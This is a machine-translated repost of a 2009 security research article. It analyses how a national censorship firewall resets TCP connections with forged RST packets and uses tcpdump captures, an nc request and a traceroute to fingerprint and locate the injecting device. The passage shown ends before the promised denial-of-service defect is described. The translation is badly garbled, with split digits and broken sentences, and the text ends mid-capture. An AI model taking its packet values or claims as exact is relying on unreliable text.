On a national content-filtering system Dos security defect analysis-vulnerability warning-the black bar safety net

2010-01-10T00:00:00
ID MYHACK58:62201025875
Type myhack58
Reporter 佚名
Modified 2010-01-10T00:00:00

Description

Author: jianxin [80sec] EMail: jianxin#80sec.com Site: http://www.80sec.com Date: 2009-1-2 From: http://www.80sec.com/release/dos-with-XXX.txt

[ Directory ]

0×0 0 Preface 0×0 1 know it, understand this content filtering system 0×0 2 Hack it, the firewall class ids of some security research 0×0 3 something

0×0 0 Preface

Recently in the learning network basics, adhering to the Hack to learn the style, want to learn to do a summary it is thought the analysis of some network security issues as a summary. Believe that for a national content-filtering system we are not unfamiliar, also known as the national boundaries of the firewall, which is essentially just a powerfulintrusion detectionsystem, and in some behavior occurs when the network attacks in real-time linkage block. Here its role is not to do explore on how to bypass it also does not do analysis, it merely it is viewed as a powerful National IPS, from a technical perspective to discuss such IPS at key Network Deployment there may be some security issues as well as to the General site of the impact.

0×0 1 know it, understand this content filtering system

Same as theintrusion detectionsystem or other known as the gateway-level filtering system is similar, it defines some policies to prevent certain dangerous network access, which policy contains the static block also contains a dynamic block, such as for the Google and Yahoo class search engine, the domestic users in the use of these sites if the trigger of the sensitive keywords, then its IP will be dynamically blocked for a period of time, a few minutes of the class will not be able to use Google, the key word here is the firewall of the definition of dangerous behavior, for example, take the keyword Freenet/freenet in Google for a search request after which you will find Google in a matter of minutes will no longer be able to be accessed, the excess of all others in a foreign server, the effect is the same. My analysis of the whole process is as follows:

First, the normal once Google to access the packet capture, you can see the results are as follows:

bt ~ # tcpdump-vv-nn-S host 64.233.189.103 and port 8 0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 2 2:3 9:26.261092 IP (tos 0x0, ttl 6 4, id 3 3 0 0 1, offset 0, flags [DF], proto TCP (6), length 6 0) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1 7 9 0 3 4 6 9 0 0:1 7 9 0 3 4 6 9 0 0(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 3 2 9 3 4 1 0,nop,wscale 4> 2 2:3 9:26.349797 IP (tos 0x0, ttl 5 0, id 4 1 0 5 3, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0x3698 (correct), 3 9 7 4 7 9 6 6 6 4:3 9 7 4 7 9 6 6 6 4(0) ack 1 7 9 0 3 4 6 9 0 1 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 1 0 7 2 1 5 7 6 8 1 3 2 9 3 4 1,nop,wscale 6> 2 2:3 9:26.350452 IP (tos 0x0, ttl 6 4, id 3 3 0 0 2, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x79d7 (correct), 1 7 9 0 3 4 6 9 0 1:1 7 9 0 3 4 6 9 0 1(0) ack 3 9 7 4 7 9 6 6 6 5 win 3 6 5 <nop,nop,timestamp 3 2 9 3 6 4 1 0 7 2 1 5 7 6 8 1> 2 2:3 9:36.161454 IP (tos 0x0, ttl 6 4, id 3 3 0 0 3, offset 0, flags [DF], proto TCP (6), length 6 7) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1 7 9 0 3 4 6 9 0 1:1 7 9 0 3 4 6 9 1 6(1 5) ack 3 9 7 4 7 9 6 6 6 5 win 3 6 5 <nop,nop,timestamp 3 3 1 8 0 6 1 0 7 2 1 5 7 6 8 1> 2 2:3 9:36.248632 IP (tos 0x0, ttl 5 0, id 4 1 0 5 3, offset 0, flags [none], proto TCP (6), length 5 2) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0x4a9a (correct), 3 9 7 4 7 9 6 6 6 5:3 9 7 4 7 9 6 6 6 5(0) ack 1 7 9 0 3 4 6 9 1 6 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 7 5 9 3 3 3 1 8 0 6> 2 2:3 9:37.476626 IP (tos 0x0, ttl 6 4, id 3 3 0 0 4, offset 0, flags [DF], proto TCP (6), length 5 3) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0x3e36 (correct), 1 7 9 0 3 4 6 9 1 6:1 7 9 0 3 4 6 9 1 7(1) ack 3 9 7 4 7 9 6 6 6 5 win 3 6 5 <nop,nop,timestamp 3 3 2 1 3 3 1 0 7 2 1 6 7 5 9 3> 2 2:3 9:37.563675 IP (tos 0x0, ttl 5 0, id 4 1 0 5 4, offset 0, flags [none], proto TCP (6), length 5 2) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0x442e (correct), 3 9 7 4 7 9 6 6 6 5:3 9 7 4 7 9 6 6 6 5(0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 8 9 0 9 3 3 2 1 3 3> 2 2:3 9:37.611453 IP (tos 0x0, ttl 5 0, id 4 1 0 5 5, offset 0, flags [none], proto TCP (6), length 1 4 5 2) 64.233.189.103.80 > 192.168.1.4.44297: . 3 9 7 4 7 9 6 6 6 5:3 9 7 4 7 9 8 0 6 5(1 4 0 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 8 9 3 3 3 3 2 1 3 3> 2 2:3 9:37.611545 IP (tos 0x0, ttl 6 4, id 3 3 0 0 5, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3cb3 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 7 9 8 0 6 5 win 5 4 6 <nop,nop,timestamp 3 3 2 1 6 7 1 0 7 2 1 6 8 9 3 3> 2 2:3 9:37.624333 IP (tos 0x0, ttl 5 0, id 4 1 0 5 6, offset 0, flags [none], proto TCP (6), length 1 4 5 2) 64.233.189.103.80 > 192.168.1.4.44297: . 3 9 7 4 7 9 8 0 6 5:3 9 7 4 7 9 9 4 6 5(1 4 0 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 8 9 3 3 3 3 2 1 3 3> 2 2:3 9:37.624364 IP (tos 0x0, ttl 6 4, id 3 3 0 0 6, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3683 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 7 9 9 4 6 5 win 7 2 7 <nop,nop,timestamp 3 3 2 1 7 0 1 0 7 2 1 6 8 9 3 3> 2 2:3 9:37.642937 IP (tos 0x0, ttl 5 0, id 4 1 0 5 7, offset 0, flags [none], proto TCP (6), length 1 4 5 2) 64.233.189.103.80 > 192.168.1.4.44297: . 3 9 7 4 7 9 9 4 6 5:3 9 7 4 8 0 0 8 6 5(1 4 0 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 89 3 3 3 3 2 1 3 3> 2 2:3 9:37.642953 IP (tos 0x0, ttl 6 4, id 3 3 0 0 7, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3051 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 8 0 0 8 6 5 win 9 0 8 <nop,nop,timestamp 3 3 2 1 7 5 1 0 7 2 1 6 8 9 3 3> 2 2:3 9:37.646286 IP (tos 0x0, ttl 5 0, id 4 1 0 5 8, offset 0, flags [none], proto TCP (6), length 5 3 2) 64.233.189.103.80 > 192.168.1.4.44297: P 3 9 7 4 8 0 0 8 6 5:3 9 7 4 8 0 1 3 4 5(4 8 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 8 9 3 3 3 3 2 1 3 3> 2 2:3 9:37.646302 IP (tos 0x0, ttl 6 4, id 3 3 0 0 8, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x2dc1 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 8 0 1 3 4 5 win 1 0 8 3 <nop,nop,timestamp 3 3 2 1 7 6 1 0 7 2 1 6 8 9 3 3> 2 2:3 9:37.717617 IP (tos 0x0, ttl 5 0, id 4 1 0 5 9, offset 0, flags [none], proto TCP (6), length 1 4 5 2) 64.233.189.103.80 > 192.168.1.4.44297: . 3 9 7 4 8 0 1 3 4 5:3 9 7 4 8 0 2 7 4 5(1 4 0 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 9 0 4 5 3 3 2 1 6 7> 2 2:3 9:37.717634 IP (tos 0x0, ttl 6 4, id 3 3 0 0 9, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x2713 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 8 0 2 7 4 5 win 1 2 6 4 <nop,nop,timestamp 3 3 2 1 9 3 1 0 7 2 1 6 9 0 4 5> 2 2:3 9:37.736610 IP (tos 0x0, ttl 5 0, id 4 1 0 6 0, offset 0, flags [none], proto TCP (6), length 1 4 5 2) 64.233.189.103.80 > 192.168.1.4.44297: . 3 9 7 4 8 0 2 7 4 5:3 9 7 4 8 0 4 1 4 5(1 4 0 0) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 9 0 4 5 3 3 2 1 6 7> 2 2:3 9:37.736645 IP (tos 0x0, ttl 6 4, id 3 3 0 1 0, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x20e1 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 8 0 4 1 4 5 win 1 4 4 5 <nop,nop,timestamp 3 3 2 1 9 8 1 0 7 2 1 6 9 0 4 5> 2 2:3 9:37.755088 IP (tos 0x0, ttl 5 0, id 4 1 0 6 1, offset 0, flags [none], proto TCP (6), length 1 4 4 9) 64.233.189.103.80 > 192.168.1.4.44297: P 3 9 7 4 8 0 4 1 4 5:3 9 7 4 8 0 5 5 4 2(1 3 9 7) ack 1 7 9 0 3 4 6 9 1 7 win 8 9 <nop,nop,timestamp 1 0 7 2 1 6 9 0 4 5 3 3 2 1 6 7> 2 2:3 9:37.755107 IP (tos 0x0, ttl 6 4, id 3 3 0 1 1, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x1ab2 (correct), 1 7 9 0 3 4 6 9 1 7:1 7 9 0 3 4 6 9 1 7(0) ack 3 9 7 4 8 0 5 5 4 2 win 1 6 2 6 <nop,nop,timestamp 3 3 2 2 0 3 1 0 7 2 1 6 9 0 4 5>

We can see the complete a request process, first is the three-way handshake, and then is sent the data packet and between the server and client full interaction, from here we can identify the Google servers for some of the fingerprint characteristics, such as not set, regardless of the sheet flag, the TTL value is relatively constant for the 5 0 and so on. Then when an illegal request occurs, the situation will be like? For example, in the Google Search will be blocked keyword freenet when the results are as follows:

bt ~ # nc-vv 64.233.189.103 8 0 hkg01s01-in-f103.1e100.net [64.233.189.103] 8 0 (http) open GET /? q=freenet HTTP/1.1

sent 2 6, rcvd 0 bt ~ #

Can see a sending illegal request Google to take the initiative to disconnect a link, the entire process of network packet capture as follows:

bt ~ # tcpdump-vv-nn-S host 64.233.189.103 and port 8 0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 2 2:5 4:15.744058 IP (tos 0x0, ttl 6 4, id 3 6 7 2 4, offset 0, flags [DF], proto TCP (6), length 6 0) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2 7 2 9 6 3 3 7 9 5:2 7 2 9 6 3 3 7 9 5(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 5 5 0 7 7 5 0,nop,wscale 4> 2 2:5 4:15.831374 IP (tos 0x0, ttl 5 0, id 1 2 8 6 8, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0x9163 (correct), 1 2 0 9 5 1 6 5 6 7:1 2 0 9 5 1 6 5 6 7(0) ack 2 7 2 9 6 3 3 7 9 6 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 1 0 8 1 5 3 9 5 3 4 5 5 0 7 7 5,nop,wscale 6> 2 2:5 4:15.831408 IP (tos 0x0, ttl 6 4, id 3 6 7 2 5, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2 7 2 9 6 3 3 7 9 6:2 7 2 9 6 3 3 7 9 6(0) ack 1 2 0 9 5 1 6 5 6 8 win 3 6 5 <nop,nop,timestamp 5 5 0 7 9 7 1 0 8 1 5 3 9 5 3 4> 2 2:5 4:31.619002 IP (tos 0x0, ttl 6 4, id 3 6 7 2 6, offset 0, flags [DF], proto TCP (6), length 7 7) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2 7 2 9 6 3 3 7 9 6:2 7 2 9 6 3 3 8 2 1(2 5) ack 1 2 0 9 5 1 6 5 6 8 win 3 6 5 <nop,nop,timestamp 5 5 4 7 2 7 1 0 8 1 5 3 9 5 3 4> 2 2:5 4:31.727889 IP (tos 0x0, ttl 5 0, id 1 2 8 6 8, offset 0, flags [none], proto TCP (6), length 5 2) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0x8867 (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) ack 2 7 2 9 6 3 3 8 2 1 win 8 9 <nop,nop,timestamp 1 0 8 1 5 5 5 3 7 1 5 5 4 7 2 7> 2 2:5 4:32.065444 IP (tos 0x0, ttl 6 4, id 3 6 7 2 7, offset 0, flags [DF], proto TCP (6), length 5 3) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0x7cdb (correct), 2 7 2 9 6 3 3 8 2 1:2 7 2 9 6 3 3 8 2 2(1) ack 1 2 0 9 5 1 6 5 6 8 win 3 6 5 <nop,nop,timestamp 5 5 4 8 3 8 1 0 8 1 5 5 5 3 7 1> 2 2:5 4:32.148169 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) win 2 6 0 5 2 2:5 4:32.151504 IP (tos 0x0, ttl 5 0, id 1 2 8 6 9, offset 0, flags [none], proto TCP (6), length 5 2) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0x863a (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) ack 2 7 2 9 6 3 3 8 2 2 win 8 9 <nop,nop,timestamp 1 0 8 1 5 5 5 8 1 6 5 5 4 8 3 8> 2 2:5 4:32.151840 IP (tos 0x0, ttl 6 4, id 0, offset 0, flags [DF], proto TCP (6), length 4 0) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2 7 2 9 6 3 3 8 2 2:2 7 2 9 6 3 3 8 2 2(0) win 0 2 2:5 4:32.153474 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x1779 (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) win 9 8 0 5

You can see that the user in after sending the push packets after the Google's server that is 6 4. 2 3 3. 1 8 9. 1 0 3 returns an ack packet indicating receipt of the request, and the reply of the ack packet sequence number with the expected consistent, there are two times to push is because I use the nc to submit, plus the carriage return will be sent one in the past. So in theory the server should immediately reply to a push packet in response to our previous request, but the results we received an unexpected rst packet as follows:

2 2:5 4:32.148169 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) win 2 6 0 5

And the quirkiness of the tcp packet is also sent two times, then our client will think the server reset the link, this time the server also honestly responded to one of the previous push packet acknowledgment packet, but this packet has been previously baffled by the rst packet with out, and the client also according to the request to reset the link, so just reply with a rst packet:

2 2:5 4:32.151840 IP (tos 0x0, ttl 6 4, id 0, offset 0, flags [DF], proto TCP (6), length 4 0) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2 7 2 9 6 3 3 8 2 2:2 7 2 9 6 3 3 8 2 2(0) win 0

Well, this tcp link to here to play over. Then this inexplicable rst packet is a who issued to? First to confirm if Google's own ventilation issue. Note that the above mentioned normal case down from Google return the package fingerprint, we can see the following several places undergone significant changes:

2 2:5 4:15.831374 IP (tos 0x0, ttl 5 0, id 1 2 8 6 8, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0x9163 (correct), 1 2 0 9 5 1 6 5 6 7:1 2 0 9 5 1 6 5 6 7(0) ack 2 7 2 9 6 3 3 7 9 6 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 1 0 8 1 5 3 9 5 3 4 5 5 0 7 7 5,nop,wscale 6> 2 2:5 4:32.148169 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1 2 0 9 5 1 6 5 6 8:1 2 0 9 5 1 6 5 6 8(0) win 2 6 0 5

First of all ttl is changed, which in the default case the basic representative of the device in a location on the network, in addition to ID within the system is used to identify a tcp packet, the obvious difference is too large, then Google the server also returns a bunch of optional fields, but the weird rst packets completely without this feature, these basic can confirm this rst packet is not from the real Google server, through a multi-grab a few packets you can prove this conclusion. Then this device is for which location? Our simple tracert next look at the results:

traceroute to 64.233.189.103 (64.233.189.103), 3 0 hops max, 3 8 byte packets 1 localhost (192.168.1.1) 4.667 ms of 194.9 ms 1.650 ms 2 114.249.208.1 (114.249.208.1) 28.304 ms 28.438 ms 34.123 ms 3 125.35.65.97 (125.35.65.97) 26.429 ms 27.363 ms 25.844 ms 4 bt-2 2 7-1 0 9. bta. net. cn (202.106.227.109) 27.641 ms 26.971 ms 27.268 ms 5 61.148.153.121 (61.148.153.121) 26.936 ms 27.722 ms 27.802 ms 6 123.126.0.121 (123.126.0.121) 27.675 ms 26.996 ms 28.620 ms 7 219.158.4.94 (219.158.4.94) 82.732 ms 82.175 ms 82.608 ms 8 219.158.3.66 (219.158.3.66) 69.978 ms 70.491 ms 136.986 ms 9 219.158.3.130 (219.158.3.130) 77.807 ms 87.424 ms 446.165 ms 1 0 219.158.32.230 (219.158.32.230) 413.888 ms 87.384 ms 86.614 ms 1 1 64.233.175.207 (64.233.175.207) 114.188 ms 79.037 ms 113.107 ms 1 2 209.85.241.56 (209.85.241.56) 87.721 ms 88.063 ms 87.341 ms 1 3 66.249.94.6 (66.249.94.6) 87.068 ms 99.377 ms 94.140 ms 1 4 hkg01s01-in-f103.1e100.net (64.233.189.103) 86.094 ms 85.901 ms 86.429 ms

ttl is a packet in the network on the survival time, each through a router the ttl will be decremented by 1, You can avoid some of the data packets endless transmission over the network, so it can be used to confirm the equipment from our host on the network the number of hops and distance. We in the capture time can be found, we default send the data packet ttl is 6 4, I here with linux system, generally a network device an initial value of 6 for 4, 1 2 8, The 2 5 5, linux class system of initial value generally is 6 4, so here we can see Google returned value is 5 0, This can be confirmed, because you can see the We to google 1 4 jump, generallylinux serverof the initial value of 6 4, to us It is just 5 to 0. Then this ttl=5 3 the abnormal packet is in? 64-13=1 1, Oh, should be in the 1 1 jump around, to the routing on the chain on find on find may is 6 4. 2 3 3. 1 7 5. 2 0 7 This IP, but to check it will be found that this ip is Google, the U.S. people hijacking our data package does not allow access to Google for? Unlikely Ah, then it is possible that from the first 1 0 bypass out of the package, check the 1 0 jump found is the network communication backbone network, which in theory is possible, of courseThis before the nodes are possible, but most likely it should be or this Node because this node can monitor all the exit traffic! Then to analyze next is how to deny off our link, the device is grafted on the backbone of the Internet, that is grafted is because to do this thing should not be a backbone router, from a TTL or some other common sense as can be seen, after all the backbone routing on the directly to operate while the risk is too big, can not affect the normal application of this is the firewall minimum requirements, since the device can be in such a position, then nature can do it will flow in a mirror image way to import to their own devices, and real-time monitoring the entire tcp link. We know want to represent a normal tcp link is a five-tuple, including Protocol, source port, source IP, destination port, destination IP, and want the full control a tcp link is also required on this basis to add a seq, ack sequence number indicates the normal tcp state, want to guess these is basically impossible. Hackers how many years dreams of for these predictions are can be easily in the backbone on the route of the bypass device is achieved, in some provinces a large line of the hijacking of the carrier in front, a hacker is vulnerable. Since there is a five-tuple, and the sequence number, then the tcp operation from the however very simple, the highest of the invention is a rst packet to let the entire tcp link directly disappear. Some articles say this magical device to both send the rst packets from my packet capture analysis of the results, it seems that this conclusion is not reliable, if you send google a rst packet, then later a push of the ack packet is not received. Further can be seen, the first push packet is sent to go after, this magical device will have a reaction, do not wait for my second package request is issued to make up a complete http request that we just received a rst packet, the push packet triggers the feature. But I am more strange is, if it is so, then it may In time appear on the server push packets than the rst packet to arrive, thus not blocking the action, but from the distance and the server needs to request a response to this point of view, this occurrence probability is relatively small, another possibility is that our client sends the rst packet to reach the Google server, the server push package has been sent to our client, though not complete show, but the package has been received, isn't it, huh! In addition, from the results of several experiments run, we in the system through the bottom of the processing off id=6 4 packs, is to be completed in the time requested, the level is limited, after the re-test:) But this time the request is you are lucky enough to get can not mean anything, the firewall is another powerful feature you have yet to experience, that is the gray list of the dynamic block feature, by the above request, you have been considered to be the hack triggered the firewall rules, your ip and the target server between the request for the temporary problems. Under normal circumstances, to Google of a TCP connection as follows, demonstrated here is the nc link to the server and the broken results:

bt ~ # nc-vv 64.233.189.103 8 0 hkg01s01-in-f103.1e100.net [64.233.189.103] 8 0 (http) open sent 0, rcvd 0 bt ~ #

Here I press down ctrl+c

bt ~ # tcpdump-nn-vv-S port 8 0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 2 1:5 3:12.553207 IP (tos 0x0, ttl 6 4, id 2 0 0 3 7, offset 0, flags [DF], proto TCP (6), length 6 0) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2 2 8 3 0 8 2 2 6 7:2 2 8 3 0 8 2 2 6 7(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 2 8 5 7 9 0 0,nop,wscale 4> 2 1:5 3:12.637507 IP (tos 0x0, ttl 5 0, id 2 3 3 6 3, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 8 8 9 3 7 7 5 5 5:8 8 9 3 7 7 5 5 5(0) ack 2 2 8 3 0 8 2 2 6 8 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 9 1 8 5 3 9 3 7 2 2 8 5 7 9 0,nop,wscale 6> 2 1:5 3:12.637539 IP (tos 0x0, ttl 6 4, id 2 0 0 3 8, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2 2 8 3 0 8 2 2 6 8:2 2 8 3 0 8 2 2 6 8(0) ack 8 8 9 3 7 7 5 5 6 win 3 6 5 <nop,nop,timestamp 2 8 5 8 1 1 9 1 8 5 3 9 3 7 2> 2 1:5 3:18.110166 IP (tos 0x0, ttl 6 4, id 2 0 0 3 9, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2 2 8 3 0 8 2 2 6 8:2 2 8 3 0 8 2 2 6 8(0) ack 8 8 9 3 7 7 5 5 6 win 3 6 5 <nop,nop,timestamp 2 8 7 1 7 7 9 1 8 5 3 9 3 7 2> 2 1:5 3:18.206770 IP (tos 0x0, ttl 5 0, id 2 3 3 6 4, offset 0, flags [none], proto TCP (6), length 5 2) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 8 8 9 3 7 7 5 5 6:8 8 9 3 7 7 5 5 6(0) ack 2 2 8 3 0 8 2 2 6 9 win 8 9 <nop,nop,timestamp 9 1 8 5 4 4 9 2 3 2 8 7 1 7 7> 2 1:5 3:18.206805 IP (tos 0x0, ttl 6 4, id 2 0 0 4 0, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2 2 8 3 0 8 2 2 6 9:2 2 8 3 0 8 2 2 6 9(0) ack 8 8 9 3 7 7 5 5 7 win 3 6 5 <nop,nop,timestamp 2 8 7 2 0 2 9 1 8 5 4 4 9 2 3>

So if the rule is triggered after the request is like:

bt ~ # tcpdump-vv-nn-S host 64.233.189.103 and port 8 0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 0 0:1 8:31.651147 IP (tos 0x0, ttl 6 4, id 2 2 1 8 4, offset 0, flags [DF], proto TCP (6), length 6 0) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0x6925 (correct), 3 7 7 4 3 3 5 6 7 2:3 7 7 4 3 3 5 6 7 2(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 1 8 0 9 4 2 4 0,nop,wscale 4> 0 0:1 8:31.739447 IP (tos 0x0, ttl 5 0, id 4 4 5 6 2, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0x97db (correct), 3 8 2 1 2 5 1 8 1 3:3 8 2 1 2 5 1 8 1 3(0) ack 3 7 7 4 3 3 5 6 7 3 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 1 0 9 8 8 4 2 0 8 6 1 8 0 9 4 2 4,nop,wscale 6> 0 0:1 8:31.739469 IP (tos 0x0, ttl 6 4, id 2 2 1 8 5, offset 0, flags [DF], proto TCP (6), length 5 2) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3 7 7 4 3 3 5 6 7 3:3 7 7 4 3 3 5 6 7 3(0) ack 3 8 2 1 2 5 1 8 1 4 win 3 6 5 <nop,nop,timestamp 1 8 0 9 4 4 6 1 0 9 8 8 4 2 0 8 6> 0 0:1 8:31.820608 IP (tos 0x0, ttl 5 3, id 6 4, offset 0, flags [none], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0x6ea9 (correct), 3 8 2 1 2 5 1 8 1 4:3 8 2 1 2 5 1 8 1 4(0) win 1 2 3 7 9

The three-way handshake immediately after that somehow the rst packets appear on the server waiting for the client to give it data when we a rst packet to end the tcp connection's life, this feature is still very obvious, id is a 6 4, ttl=5 to 3. But in a further test, I got this package:bt ~ # tcpdump-nn-vv-S port 8 0 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 9 6 bytes 2 1:4 7:54.614462 IP (tos 0x0, ttl 6 4, id 2 0 8 3 4, offset 0, flags [DF], proto TCP (6), length 6 0) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0x8ead (correct), 1 9 5 1 7 5 8 1 2 8:1 9 5 1 7 5 8 1 2 8(0) win 5 8 4 0 <mss 1 4 6 0,sackOK,timestamp 2 0 6 4 1 8 0,nop,wscale 4> 2 1:4 7:54.691420 IP (tos 0x0, ttl 4 2, id 2 6 9 6 6, offset 0, flags [DF], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0x273e (correct), 2 9 7 0 5 7 3 1 9 8:2 9 7 0 5 7 3 1 9 8(0) ack 1 9 5 1 7 5 8 1 2 9 win 4 5 3 2 1:4 7:54.691449 IP (tos 0x0, ttl 6 4, id 2 0 8 3 5, offset 0, flags [DF], proto TCP (6), length 4 0) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0x1234 (correct), 1 9 5 1 7 5 8 1 2 9:1 9 5 1 7 5 8 1 2 9(0) ack 2 9 7 0 5 7 3 1 9 9 win 5 8 4 0 2 1:4 7:54.696983 IP (tos 0x0, ttl 5 0, id 5 1 7 3 3, offset 0, flags [none], proto TCP (6), length 6 0) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 7 9 4 4 8 3 0 2 2:7 9 4 4 8 3 0 2 2(0) ack 1 9 5 1 7 5 8 1 2 9 win 5 6 7 2 <mss 1 4 1 2,sackOK,timestamp 9 2 9 1 4 6 8 7 3 2 0 6 4 1 8,nop,wscale 6> 2 1:4 7:54.696998 IP (tos 0x0, ttl 6 4, id 2 0 8 3 6, offset 0, flags [DF], proto TCP (6), length 4 0) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0x1234 (correct), 1 9 5 1 7 5 8 1 2 9:1 9 5 1 7 5 8 1 2 9(0) ack 2 9 7 0 5 7 3 1 9 9 win 5 8 4 0 2 1:4 7:54.700298 IP (tos 0x0, ttl 4 3, id 2 6 8 8 7, offset 0, flags [DF], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x292f (correct), 7 9 4 4 8 3 0 2 3:7 9 4 4 8 3 0 2 3(0) ack 1 9 5 1 7 5 8 1 2 9 win 4 5 4 2 1:4 7:54.769090 IP (tos 0x0, ttl 4 6, id 2 6 6 5 0, offset 0, flags [DF], proto TCP (6), length 4 0) 64.233.189.103.80 > 192.168.1.2.53343: R, 